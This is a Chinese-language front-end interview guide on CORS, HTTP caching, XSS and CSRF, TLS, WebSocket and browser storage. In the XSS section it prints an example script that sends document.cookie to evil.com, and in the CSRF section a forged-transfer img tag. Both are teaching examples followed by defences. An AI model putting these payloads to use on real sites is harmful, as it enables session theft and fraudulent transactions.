网络
⭐什么是跨域?如何解决?
什么是跨域:
浏览器的同源策略规定:只有协议、域名、端口三者完全相同才算同源。否则 JS 发起的请求会被浏览器拦截,这就是跨域。
http://a.com → https://a.com ❌ 协议不同
http://a.com → http://b.com ❌ 域名不同
http://a.com → http://a.com:8080 ❌ 端口不同
http://a.com → http://a.com/api ✅ 同源
注意:跨域请求本身是能发出去的,服务器也收到了并响应了,是浏览器在收到响应后拦截了结果。
解决方案:
① CORS(最常用,后端配置)
服务端在响应头中添加允许跨域的字段:
Access-Control-Allow-Origin: https://a.com // 允许的来源(* 表示所有)
Access-Control-Allow-Methods: GET,POST,PUT
Access-Control-Allow-Headers: Content-Type,Authorization
对于 PUT/DELETE 等非简单请求,浏览器会先发一个 OPTIONS 预检请求(preflight),服务端需正确响应。
② 开发环境代理(Vite/Webpack devServer proxy)
// vite.config.js
server: {
proxy: {
'/api': {
target: 'http://backend.com',
changeOrigin: true, // 修改请求头 Origin,伪装成同源
rewrite: path => path.replace(/^\/api/, '')
}
}
}
本质:代理服务器和后端之间是服务器对服务器通信,没有同源限制,由代理转发给浏览器。
③ Nginx 反向代理(生产环境)
location /api/ {
proxy_pass http://backend-server/;
add_header Access-Control-Allow-Origin *;
}
④ JSONP(老方案,仅支持 GET,了解即可)
利用 <script> 标签不受同源限制的特性,绕过跨域。现代项目已不使用。
⭐浏览器缓存策略(强缓存和协商缓存)
浏览器缓存分两级,优先级:强缓存 > 协商缓存。
强缓存: 不发请求,直接用本地缓存(状态码 200 from cache)
| 响应头 | 说明 |
|---|---|
Expires | HTTP/1.0,绝对时间(受客户端时间影响,已基本废弃) |
Cache-Control: max-age=3600 | HTTP/1.1,相对秒数,优先级高于 Expires |
常见 Cache-Control 值:
Cache-Control: max-age=31536000 // 缓存一年(静态资源)
Cache-Control: no-cache // 不使用强缓存,每次都走协商缓存
Cache-Control: no-store // 完全不缓存
Cache-Control: private // 只允许浏览器缓存,不允许 CDN 缓存
协商缓存: 向服务器确认缓存是否有效,若有效返回 304 Not Modified,不返回响应体
| 请求头 | 对应响应头 | 说明 |
|---|---|---|
If-None-Match: "abc123" | ETag: "abc123" | 文件内容哈希值(精确,优先级高) |
If-Modified-Since: 日期 | Last-Modified: 日期 | 文件最后修改时间(精度到秒) |
完整流程:
首次请求 → 服务器返回资源 + Cache-Control + ETag
↓
再次请求 → 检查 max-age 是否过期
├── 未过期 → 直接用缓存(200 from cache),不发请求
└── 已过期 → 发请求,带上 If-None-Match
├── 内容未变 → 服务器返回 304,用本地缓存
└── 内容已变 → 服务器返回 200 + 新资源
最佳实践:
- HTML:
Cache-Control: no-cache(总是协商,确保获取最新入口) - JS/CSS/图片(带 hash 文件名):
Cache-Control: max-age=31536000(长期缓存,内容变了文件名就变)
⭐什么是 CSRF 和 XSS?如何防御?
XSS(跨站脚本攻击)
原理: 攻击者将恶意脚本注入到网页中,当用户访问时脚本在用户浏览器执行,可窃取 Cookie、劫持会话、伪造操作等。
分类:
| 类型 | 原理 |
|---|---|
| 存储型 | 恶意脚本存入数据库,其他用户访问时触发(最危险) |
| 反射型 | 恶意脚本在 URL 参数中,服务端反射到 HTML |
| DOM 型 | 前端 JS 直接操作 DOM,将不可信数据插入页面 |
<!-- 典型攻击:评论框注入 -->
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>
防御措施:
1. 输入过滤:对用户输入进行 HTML 转义(< → <, > → >)
2. 输出编码:渲染时使用 textContent 代替 innerHTML
3. CSP(内容安全策略):限制页面可加载的脚本来源
Content-Security-Policy: script-src 'self'
4. HttpOnly Cookie:禁止 JS 读取 Cookie
Set-Cookie: token=xxx; HttpOnly
CSRF(跨站请求伪造)
原理: 攻击者诱导已登录用户访问恶意页面,恶意页面以用户身份发送请求(浏览器会自动携带 Cookie),服务器无法区分是否是用户本人操作。
用户登录 bank.com → 攻击者诱导用户访问 evil.com
evil.com 中有:<img src="http://bank.com/transfer?to=hacker&amount=10000" />
→ 浏览器自动携带 bank.com 的 Cookie 发出请求
→ 银行服务器认为是用户本人操作
防御措施:
1. CSRF Token:服务端生成随机 Token,表单提交时携带,服务端验证
(攻击者无法获取 Token,所以伪造请求中不含 Token)
2. SameSite Cookie:限制第三方 Cookie 携带
Set-Cookie: token=xxx; SameSite=Strict // 完全禁止跨站携带
Set-Cookie: token=xxx; SameSite=Lax // 只允许 GET 跳转携带
3. 验证 Referer/Origin:检查请求来源域名是否合法
4. 关键操作增加二次验证:短信验证码、密码确认等
XSS vs CSRF 对比:
| XSS | CSRF | |
|---|---|---|
| 攻击方式 | 注入恶意脚本,在用户浏览器执行 | 伪造用户请求 |
| 利用的是 | 用户对网站的信任 | 网站对用户浏览器的信任 |
| 需要用户登录 | 不需要 | 需要(利用已登录的 Cookie) |
| 核心防御 | 输入过滤、输出编码、CSP | CSRF Token、SameSite Cookie |
⭐HTTPS 的加密过程(TLS 握手)
HTTP vs HTTPS:
- HTTP:明文传输,不安全
- HTTPS = HTTP + TLS(传输层安全协议),加密传输
TLS 握手过程(TLS 1.2):
客户端 服务端
│ │
│── ① Client Hello ──────────────────────►│
│ (支持的TLS版本、加密套件、随机数C) │
│ │
│◄─ ② Server Hello ──────────────────────│
│ (确认TLS版本、选定加密套件、随机数S) │
│ │
│◄─ ③ Certificate ───────────────────────│
│ (服务器的数字证书,含公钥) │
│ │
│── ④ 验证证书(CA签名是否合法) │
│── ⑤ Client Key Exchange ───────────────►│
│ (用服务器公钥加密预主密钥PreMaster) │
│ │
│ [双方用 C + S + PreMaster 计算出会话密钥]│
│ │
│── ⑥ Change Cipher Spec + Finished ─────►│
│◄─ ⑦ Change Cipher Spec + Finished ─────│
│ │
│════════ 之后所有通信用会话密钥对称加密 ════│
关键要素:
| 阶段 | 使用的加密 | 说明 |
|---|---|---|
| 握手阶段 | 非对称加密(RSA/ECDHE) | 安全交换密钥,性能开销大 |
| 数据传输 | 对称加密(AES) | 速度快,用会话密钥加密数据 |
| 证书验证 | 数字签名(CA) | 防止中间人攻击 |
为什么需要 CA(证书颁发机构)?
防止中间人伪造证书。CA 用自己的私钥对服务器证书签名,浏览器内置了受信任 CA 的根证书,可以验证签名真伪。
TLS 1.3 的改进:
- 握手从 2-RTT 减少到 1-RTT(更快)
- 移除了不安全的加密算法(RSA 密钥交换)
- 支持 0-RTT 恢复(会话复用)
⭐WebSocket 与 HTTP 的区别
HTTP 的局限:
HTTP 是请求-响应模式,必须由客户端主动发起请求,服务器无法主动推送数据。实现实时功能需要轮询(定时发请求),效率低、延迟高。
WebSocket:
WebSocket 是一种全双工通信协议,建立连接后,服务端和客户端都可以随时主动发送数据,连接持续保持。
建立连接(HTTP 升级握手):
GET /chat HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
── 服务器响应 ──
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
握手成功后,连接从 HTTP 升级为 WebSocket 协议,后续通信不再走 HTTP。
前端使用:
const ws = new WebSocket('ws://localhost:8080/chat')
ws.onopen = () => {
console.log('连接建立')
ws.send('Hello Server!')
}
ws.onmessage = (event) => {
console.log('收到消息:', event.data)
}
ws.onclose = () => console.log('连接关闭')
ws.onerror = (err) => console.error('连接错误', err)
// 主动发送
ws.send(JSON.stringify({ type: 'chat', content: 'Hi' }))
// 关闭连接
ws.close()
对比:
| HTTP | WebSocket | |
|---|---|---|
| 通信模式 | 请求-响应(半双工) | 全双工 |
| 连接方式 | 短连接(每次请求新建) | 长连接(持续保持) |
| 服务端推送 | ❌(需轮询) | ✅ |
| 协议头开销 | 大(每次请求带完整 Header) | 小(建连后帧格式轻量) |
| 适用场景 | 普通请求响应 | 实时聊天、协作编辑、行情推送、游戏 |
其他实时通信方案对比:
| 方案 | 原理 | 特点 |
|---|---|---|
| 短轮询 | 定时发 HTTP 请求 | 实现简单,延迟高、浪费带宽 |
| 长轮询 | 请求挂起到有数据才返回 | 延迟低,但并发连接多 |
| SSE | 服务端单向推送事件流 | 简单,仅服务端→客户端 |
| WebSocket | 全双工长连接 | 最灵活,双向实时通信 |
⭐Cookie、localStorage、sessionStorage 的区别
三者都是浏览器端存储数据的方式,区别在于生命周期、存储大小和是否随请求发送。
| Cookie | localStorage | sessionStorage | |
|---|---|---|---|
| 大小限制 | ~4KB | ~5MB | ~5MB |
| 生命周期 | 由 Expires/Max-Age 决定,可持久化 | 永久,除非手动清除 | 标签页关闭即清除 |
| 随请求发送 | ✅ 自动携带在 HTTP 请求头中 | ❌ | ❌ |
| 作用域 | 可跨子域(设置 domain) | 同源共享 | 仅当前标签页 |
| JS 可访问 | ✅(HttpOnly 时不可) | ✅ | ✅ |
| 服务端可写 | ✅(Set-Cookie 响应头) | ❌ | ❌ |
Cookie 详细说明:
Set-Cookie: token=abc123;
Expires=Wed, 21 Oct 2026 07:28:00 GMT; // 过期时间
Max-Age=3600; // 相对秒数,优先级高于 Expires
Domain=.example.com; // 适用域名(含子域名)
Path=/; // 适用路径
Secure; // 仅 HTTPS 发送
HttpOnly; // 禁止 JS 访问(防 XSS 窃取)
SameSite=Lax; // 跨站发送限制(防 CSRF)
localStorage / sessionStorage 常用 API:
// localStorage(关闭浏览器不丢失)
localStorage.setItem('token', 'abc123')
localStorage.getItem('token') // 'abc123'
localStorage.removeItem('token')
localStorage.clear()
// sessionStorage(关闭标签页即清除)
sessionStorage.setItem('tempData', JSON.stringify({ step: 1 }))
const data = JSON.parse(sessionStorage.getItem('tempData'))
使用场景建议:
| 场景 | 推荐方案 | 原因 |
|---|---|---|
| 登录 Token | localStorage 或 Cookie(HttpOnly) | Cookie HttpOnly 更安全,防 XSS |
| 用户偏好(主题/语言) | localStorage | 持久化,不需要发给服务器 |
| 表单草稿(多步骤) | sessionStorage | 关闭页面自动清除,防残留 |
| 购物车(未登录) | localStorage | 持久化,跨会话保留 |
| 服务端读取的数据 | Cookie | 只有 Cookie 会随请求发送 |